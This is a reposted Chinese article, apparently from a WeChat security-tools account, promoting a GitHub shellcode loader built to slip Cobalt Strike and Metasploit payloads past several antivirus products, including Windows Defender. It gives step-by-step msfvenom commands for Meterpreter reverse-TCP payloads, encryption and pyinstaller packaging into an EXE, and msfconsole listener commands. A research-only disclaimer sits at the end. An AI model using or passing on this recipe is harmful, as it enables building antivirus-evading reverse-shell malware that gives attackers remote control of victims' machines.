CobaltStrike免杀ShellCode加载器
2022-9-13 00:2:3 Author: web安全工具库(查看原文) 阅读量:42 收藏

项目作者：Axx8

项目地址：https://github.com/Axx8/ShellCode_Loader

0x01 工具介绍

ShellCode_Loader - Msf

CobaltStrike免杀ShellCode加载器

Shellcode_encryption - 免杀Shellcode加密生成工具

目前测试免杀360&火绒&电脑管家&Windows Defender（其他杀软未测试）。

0x02 安装与使用

1、生成Msf_Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c  -o  payload.c
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f py -o  payload_py.c

2、生成CobaltStrike_Payload

选择使用x64的C语言或Python语言的Shellcode。

得到一个payload.c的文件，内容为：

3、加密Payload

Shellcode_encryption.exe    payload.c

4、配置ShellCode加载器，将生成的密文ShellCode 填至 ShellCode_Loader.py 里的 Data = '密文Shellcode' 处 示例：

5、打包可执行程序(EXE编译环境)，生成ShellCode_Loader.exe在dist目录中

Python 3.8.6pyinstaller 4.7pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simplepyinstaller -F -w ShellCode_Loader.py

6、上线测试

运行监听

msfconsolemsf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 0.0.0.0msf6 exploit(multi/handler) > set lport 8080msf6 exploit(multi/handler) > run

0x03 下载地址

1、通过项目地址下载

2、关注web安全工具库公众号，后台回复：20220913

0x04 声明

仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者不承担任何法律及连带责任。

推 荐 阅 读

加我微信：ivu123ivu，进送书活动群，不定时免费送书

《C++20高级编程(第5版)》

历史性的C++20来了，拥抱C++的深度和复杂性，挖掘更多可能，四大新特性：概念、范围库、协程和模块。代表了C++ 30年来的标准化和诞生40年来的强大生命力。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247504405&idx=1&sn=258570c9f838f49122652cfa301dbc3b&chksm=ebb53d16dcc2b4009797a0390ee53d0621f616c41207b3e2cc54bb2b2dfc8aaeef0e634920e4#rd
如有侵权请联系:admin#unsafe.sh